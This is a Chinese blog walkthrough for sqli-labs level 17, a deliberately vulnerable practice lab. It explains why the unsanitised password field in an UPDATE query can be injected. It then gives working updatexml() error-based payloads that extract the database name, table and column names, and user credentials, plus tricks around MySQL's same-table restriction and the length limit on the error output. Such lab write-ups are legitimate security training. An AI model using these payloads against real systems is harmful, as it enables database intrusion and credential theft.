sqli-labs-----第17关

这关题目叫做基于报错的更新查新。

查看源码

通过源码我们得知当我们输入数据进去时,会先查询users表与我们输入进去的用户名对比。
如果没有这个用户,就会告诉你。

 相反他会检查用户名。
在check_input中,有以下函数
get_magic_quotes_gpc()函数:该函数返回检测PHP环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义
ctype_digit()函数:该函数用于检测字符串是否为纯数字,是则返回true,不是返回false
intval()函数:该函数用于将字符串转化为纯数字
isset()函数:该函数用于检测变量是否已设置并且非 NULL。
mysql_real_escape_string()函数:该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入。
通过这些函数,我们知道check_input()对用户名进行了安全处理,使我们无法正常对用户名下手。
但这道题只对username进行了安全处理。却没有对password进行安全处理。
在看看password部分,是对password进行了更新。

$row1 = $row['username'];  	# 将查询的username赋值给rowl
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; #更新用户密码

注入流程

在这道题中,我们知道要先有个数据库用户名。但在我们注入网站时,一般不会知道别人的用户名。
我们可以通过别的手段获取,例如社工,爆破,或者直接现场注册。
在此题中我使用爆破的手段获得了用户名
使用burp爆破

爆出合法用户名

爆库名

uname=admin&passwd=1' and updatexml(1,concat(0x23,database(),0x23,version(),0x23,user()),1)#&submit=Submit

 

爆指定库中表名

uname=admin&passwd=1' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#&submit=Submit

 爆表中列名

uname=admin&passwd=1' and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#&submit=Submit

爆数据

uname=admin&passwd=1' and updatexml(1,concat(0x23,(select concat_ws(username,password) from security.users limit 0,1)),1)#&submit=Submit

 发现报错了

那是因为在mysql中一个语句中不能先select表中的某些值,再update这个表。

但是我们可以用其他方法绕过 ,将表名users用(select username from users)a替换掉

uname=admin&passwd=-1' and updatexml(1,concat(0x23,(select group_concat(username) from (select username from users)a)),1)#&submit=Submit

 由于报错回显最多32位字符串,所以导致了回显不全的问题,我们可以利用字符串截断函数进行截断回显,这里我们使用mid函数,截断查询语句,从第32位开始查看回显31位字符串,也就是mid(SQL语句,32,31)

uname=admin&passwd=-1' and updatexml(1,concat(0x23,mid((select group_concat(username) from (select username from users)a),32,32)),1)#&submit=Submit

 

uname=admin&passwd=-1' and updatexml(1,concat(0x23,mid((select group_concat(username) from (select username from users)a),64,32)),1)#&submit=Submit

 爆密码password

uname=admin&passwd=-1' and updatexml(1,concat(0x23,mid((select group_concat(password) from (select password from users)a),1)),1)#&submit=Submit

 

uname=admin&passwd=-1' and updatexml(1,concat(0x23,mid((select group_concat(password) from (select password from users)a),32,32)),1)#&submit=Submit

 

uname=admin&passwd=-1' and updatexml(1,concat(0x23,mid((select group_concat(password) from (select password from users)a),64,32)),1)#&submit=Submit

 完成!!!!

 

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值